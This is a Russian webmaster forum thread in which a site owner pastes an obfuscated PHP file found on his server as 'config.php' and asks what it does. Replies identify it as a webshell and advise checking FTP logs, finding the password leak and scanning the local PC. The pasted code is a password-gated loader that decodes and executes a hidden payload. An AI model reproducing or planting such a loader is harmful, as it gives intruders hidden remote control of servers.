Расшифровка неизвесного файла на сервере.

12 3
4F
На сайте с 13.01.2008
Offline
90
1825

Добрый день.

Сегодня наткнулся на папку, на одном из сайтов на сервере, в ней был всего один файл, с непонятным мне содержанием (расширение .php). Бился с онлайн дешифраторами, которые всегда спасали - но тут они мне не смогли помочь. Может кто-то поймёт что в этом файле и угрожает ли он безопасности сервера? Файл есессно с сервера на данный момент удалён.

Буду признателен.

<?php $_f___f='base'.(32*2).'_de'.'code';$_f___f=$_f___f(str_replace("\n", '', 'EeFwrhBr6h3EdYfNgNuKkCbWg4k4xg2uRBS9IRfSJE9N2ht5q4CZHlMBfxpqll488V7Trm7phDbBFAwG

k5ML649wdmjtAfN+mew65S0FD5Nx2R8ROgea8Z0z1b/1amqjjy706S1+QQ2+nJYjdf8Qci0ic4kArurt
yE+zVXve7+PByfRZYRHSLzBOndf9nQJCf5h1NRgtOUs4vOqEmNs5RVD1v3Z5c/tIRPLNs+Ne+Ix7+iaa
aNXrTSZzw7KD3paNc/KaO+0GfaH7pZK6EmVZ/m1Wab04Csu9k9b06DMz5ii+xKX0MS4eiTP13+92uH5l
Wign2s8NIZg72WEHkIDxqtkN0x2rGRfpgye+KR4xnoXFw75Q1SxRsWDvzZkzK+pWrv0+ao995An7iuot
ANq6tMdj5BqMiy7eZ7MD5otlxzIvOiGERJgV8z5dmunFAYusRIHjuXhdKWyD4NcX2WqhQA2jDh12RvLT
cs1pg266XOl3ANld+vJbqSHAQmfcYs/ECada8IwCPE0pjwa6K+buwsvf1kHDQqVEYHAtXfD7vSTHqSQ/
7dN79l92UPsZWAJk4Fuc0QUb++95JQCgOplwuXJ3OkokwGGYH6hOcgfHB7XdukGKmFdWaz5G8A+GH292
mqM4NalNrMvUHWQopk5ES2SMGCahRivaSkFx1uxF5UL4lCc7NRF3FA7Xt4rcKaPy6r+F1oMcpbL5NQp1
fM7+rJ2eB4s2p1jIwkXvV5NTLOex6v2MTnQDLGAdd2wGo5eyE/FrFOPNBC2ciL03jz8ntqvBxtmnCQc4


Кусок текста вырезал т.к. не вмещается. Могу залить файл целиком или скинуть кому-нибудь на почту.


OziJdMblMkwNsbQkiTc7TvIuKM6FZh8ihiSNGRTQGb2p7vzbAW5d+6TeycLOq5tqeQzrx7/tTylGh7mt
hnByWv1cD217z1gkKmXIBoZkvg18tNsxAgv107QbqLnoJhB8B7PmNMdtNoejFNVO/NbahqTie9mc6CMD
0yztDPPSEMjiUo8GYwPl7qFCvjuRQ7pGIw3z/1GdA8D9GxFxhcueWJLXgK3GoeAGm/dJFF4P2rifbe17
1YEeajiozC6quaSpw/VtbL5oXq8uIq4li3tw1ALOhymqXMEVR9VgtW3sYMzRf7y94+Zyg2VRwpODXHm9
'));$_f__f=isset($_POST['_f__f'])?$_POST['_f__f']:(isset($_COOKIE['_f__f'])?$_COOKIE['_f__f']:NULL);if($_f__f!==NULL){$_f__f=md5($_f__f).substr(md5(strrev($_f__f)),0,strlen($_f__f));for($_f____f=0;$_f____f<15180;$_f____f++){$_f___f[$_f____f]=chr(( ord($_f___f[$_f____f])-ord($_f__f[$_f____f]))%256);$_f__f.=$_f___f[$_f____f];}if($_f___f=@gzinflate($_f___f)){if(isset($_POST['_f__f']))@setcookie('_f__f', $_POST['_f__f']);$_f____f=create_function('',$_f___f);unset($_f___f,$_f__f);$_f____f();}}?><form action="" method="post"><input type="text" name="_f__f" value=""/><input type="submit" value="&gt;"/></form>
Продам ссылки (/ru/forum/491698) и места под статьи с хорошего сайта самой популярной онлайн игры (тиц170, pr4, ЯК, дмоз, 30 000 хостов/сутки, 0 внешних, без бирж, ася 743540)
iamsens
На сайте с 26.08.2009
Offline
115
#1

привет,

99.9% это вебшелл

файл не трогай и стучи в ТП хостера, проси что б помогли найти как залили (фтп/или уязвимость на сайте)

---------- Добавлено 16.06.2014 в 20:35 ----------

залей куда-то файл, с расширением *.txt - что б можно было скачать

4F
На сайте с 13.01.2008
Offline
90
#2
iamsens:
привет,
99.9% это вебшелл

файл не трогай и стучи в ТП хостера, проси что б помогли найти как залили (фтп/или уязвимость на сайте)

Привет. Спасибо, буду иметь в виду, но файл и папки я уже с сервера удалил.

iamsens:
залей куда-то файл, с расширением *.txt - что б можно было скачать

Залил текстовый файл сюда - http://gfile.ru/aa6DL

TF-Studio
На сайте с 17.08.2010
Offline
334
#3

Не имеет никакого значения что там, только если академический интерес или сигнатуры собрать.

Ищите и закрывайте дыры.

Всё ещё лучший способ заработка для белых сайтов: GoGetLinks (https://www.gogetlinks.net/?inv=fahbn8).
4F
На сайте с 13.01.2008
Offline
90
#4
TF-Studio:
Не имеет никакого значения что там, только если академический интерес или сигнатуры собрать.
4fun.fantasy:
Может кто-то поймёт что в этом файле и угрожает ли он безопасности сервера?
TF-Studio:
Ищите и закрывайте дыры.

С этого форума уже нанимался человек для поиска и закрытия дыр, видимо придётся на фриланс идти искать людей.

iamsens
На сайте с 26.08.2009
Offline
115
#5
Привет. Спасибо, буду иметь в виду, но файл и папки я уже с сервера удалил.

название файла запомнил? попроси путь логи фтп хоть посмотрят, может пароли увели - это в лучшем варианте

4F
На сайте с 13.01.2008
Offline
90
#6
iamsens:
название файла запомнил? попроси путь логи фтп хоть посмотрят, может пароли увели - это в лучшем варианте

Да, название "config.php". Пароль на фтп и рут поменял после удаления файла.

---------- Добавлено 16.06.2014 в 22:21 ----------

Хостер ответил что файл был загружен по фтп от моего имени сегодня в 10 утра, с моего IP и более никаких действий с этим файлом в логах замечено не было.

iamsens
На сайте с 26.08.2009
Offline
115
#7

Хостер ответил что файл был загружен по фтп от моего имени сегодня в 10 утра, с моего IP и более никаких действий с этим файлом в логах замечено не было.

повезло, настраивай фаерволл для доступа к фтп/ссш по ай-пи :)

4F
На сайте с 13.01.2008
Offline
90
#8
iamsens:
повезло, настраивай фаерволл для доступа к фтп/ссш по ай-пи
4fun.fantasy:
файл был загружен по фтп от моего имени сегодня в 10 утра, с моего IP

Как в данном случае мне поможет фаервол по ip?

Romka_Kharkov
На сайте с 08.04.2009
Offline
485
#9
4fun.fantasy:
Как в данном случае мне поможет фаервол по ip?

Ессесно никак :)

Если вам залили шелл с использованием вашего же пароля, то надо не IP ограничивать а искать причину утечки пароля..... Может на вашем локальном ПК вирусы, может ваш пароль знает кто-то другой, может быть он такой же как и где-то еще и там его сперли... вариантов масса, понять можете только вы.

Есть около 15.000 ipv4 !!! (http://onyx.net.ua/price.php#ipv4) Качественный хостинг с 2005 года - лучшее клиентам! (http://onyx.net.ua/)
4F
На сайте с 13.01.2008
Offline
90
#10
Romka_Kharkov:
Если вам залили шелл с использованием вашего же пароля, то надо не IP ограничивать а искать причину утечки пароля..... Может на вашем локальном ПК вирусы, может ваш пароль знает кто-то другой, может быть он такой же как и где-то еще и там его сперли... вариантов масса, понять можете только вы.

Ни кто не знает, одинаковых паролей нет, локальный пк поставил на скан. Спасибо.

А по файлу - что там есть сможете подсказать?

12 3

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий